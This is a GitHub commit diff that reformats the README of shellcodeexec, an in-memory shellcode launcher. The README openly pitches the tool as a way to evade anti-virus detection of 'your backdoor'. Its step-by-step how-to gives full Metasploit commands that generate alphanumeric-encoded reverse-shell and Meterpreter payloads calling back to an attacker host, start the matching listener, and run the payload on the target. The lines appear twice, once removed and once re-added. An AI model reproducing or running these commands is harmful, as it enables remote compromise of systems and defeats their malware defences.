Skip to content

Commit 85118f7

Browse files
committed
layout adjustment
1 parent 51ef844 commit 85118f7

1 file changed

Lines changed: 42 additions & 12 deletions

File tree

README

Lines changed: 42 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -5,22 +5,40 @@ shellcodeexec is a small script to execute in memory a sequence of opcodes.
55

66
= Background =
77

8-
Most of the shellcode launchers out there, including proof of concepts part of many "security" books, detail how to allocate a memory page as readable/writable/executable on POSIX systems, copy over your shellcode and execute it. This works just fine. However, it is limited to POSIX, does not necessarily consider 64-bit architecture and Windows systems.
8+
Most of the shellcode launchers out there, including proof of concepts
9+
part of many "security" books, detail how to allocate a memory page as
10+
readable/writable/executable on POSIX systems, copy over your shellcode
11+
and execute it. This works just fine. However, it is limited to POSIX,
12+
does not necessarily consider 64-bit architecture and Windows systems.
913

1014

1115
= Description =
1216

13-
This script and the relevant project files (Makefile and Visual Studio files) allow you to compile the tool once then run your shellcode across different architectures and operating systems.
17+
This script and the relevant project files (Makefile and Visual Studio
18+
files) allow you to compile the tool once then run your shellcode across
19+
different architectures and operating systems.
1420

15-
Moreover, it solves a common real world issue: the target system's anti virus software blocking a Metasploit-generated payload stager (either EXE of ELF). Take for instance the following command line:
21+
Moreover, it solves a common real world issue: the target system's anti
22+
virus software blocking a Metasploit-generated payload stager (either EXE
23+
of ELF). Take for instance the following command line:
1624

1725
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=process LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/shikata_ga_nai -o /tmp/payload.exe -t exe
1826

19-
This generates a Metasploit payload stager, payload.exe, that as soon as it lands on the AV-protected target system is recognized as malicious and potentially blocked (depending on the on-access scan settings) by many anti virus products. At the time of writing this text, 21 out 41 anti viruses detect it as malicious - http://goo.gl/HTw7o. By encoding it multiple times with msfencode, less AV softwares detect it, still a lot.
27+
This generates a Metasploit payload stager, payload.exe, that as soon as
28+
it lands on the AV-protected target system is recognized as malicious and
29+
potentially blocked (depending on the on-access scan settings) by many
30+
anti virus products. At the time of writing this text, 21 out 41 anti
31+
viruses detect it as malicious - http://goo.gl/HTw7o. By encoding it
32+
multiple times with msfencode, less AV softwares detect it, still a lot.
2033

21-
I have been surfing the Net and found some interesting tutorials and guides about packing, compressing, obfuscating and applying IDA-foo to portable executables et similar in order to narrow down the number of AV products that can detect it as a malicious file. This is all interesting, but does not stop few hard-to-die anti viruses to detect your backdoor.
34+
I have been surfing the Net and found some interesting tutorials and
35+
guides about packing, compressing, obfuscating and applying IDA-foo to
36+
portable executables et similar in order to narrow down the number of AV
37+
products that can detect it as a malicious file. This is all interesting,
38+
but does not stop few hard-to-die anti viruses to detect your backdoor.
2239

23-
So the question is, how cool would it be to have a final solution to avoid all this hassle? This is exactly where this tool comes into play!
40+
So the question is, how cool would it be to have a final solution to avoid
41+
all this hassle? This is exactly where this tool comes into play!
2442

2543

2644
= Features =
@@ -33,16 +51,26 @@ shellcodeexec:
3351

3452
* As far as I know, no AV detect it as malicious.
3553

36-
* Works in DEP/NX-enabled environments: it allocates the memory page where it stores the shellcode as +rwx - Readable Writable and eXecutable.
54+
* Works in DEP/NX-enabled environments: it allocates the memory page where
55+
it stores the shellcode as +rwx - Readable Writable and eXecutable.
3756

38-
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded shellcode (generated for instance with Metasploit's msfpayload) to Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the BufferRegister variable to EAX registry where the address in memory of the shellcode will be stored, to avoid get_pc() binary stub to be prepended to the shellcode.
57+
* It supports alphanumeric encoded payloads: you can pipe your binary-encoded
58+
shellcode (generated for instance with Metasploit's msfpayload) to
59+
Metasploit's msfencode to encode it with the alpha_mixed encoder. Set the
60+
BufferRegister variable to EAX registry where the address in memory of
61+
the shellcode will be stored, to avoid get_pc() binary stub to be
62+
prepended to the shellcode.
3963

40-
* Spawns a new thread where the shellcode is executed in a structure exception handler (SEH) so that if you wrap shellcodeexec into your own executable, it avoids the whole process to crash in case of unexpected behaviours.
64+
* Spawns a new thread where the shellcode is executed in a structure
65+
exception handler (SEH) so that if you wrap shellcodeexec into your own
66+
executable, it avoids the whole process to crash in case of unexpected
67+
behaviours.
4168

4269

4370
= HowTo =
4471

45-
1. Generate a Metasploit shellcode and encode it with the alphanumeric encoder. For example for a Linux target:
72+
1. Generate a Metasploit shellcode and encode it with the alphanumeric
73+
encoder. For example for a Linux target:
4674

4775
$ msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
4876

@@ -51,7 +79,8 @@ shellcodeexec:
5179
$ msfpayload windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 R | msfencode -a x86 -e x86/alpha_mixed -t raw BufferRegister=EAX
5280

5381

54-
2. Execute the Metasploit multi/handler listener on your machine. For example for a Linux target:
82+
2. Execute the Metasploit multi/handler listener on your machine. For
83+
example for a Linux target:
5584

5685
$ msfcli multi/handler PAYLOAD=linux/x86/shell_reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
5786

@@ -60,7 +89,8 @@ shellcodeexec:
6089
$ msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp EXITFUNC=thread LPORT=4444 LHOST=192.168.136.1 E
6190

6291

63-
3. Execute the alphanumeric-encoded shellcode with this tool. For example on the Linux target:
92+
3. Execute the alphanumeric-encoded shellcode with this tool. For example
93+
on the Linux target:
6494

6595
$ ./shellcodeexec <msfencode's alphanumeric-encoded payload>
6696

0 commit comments

Comments
 (0)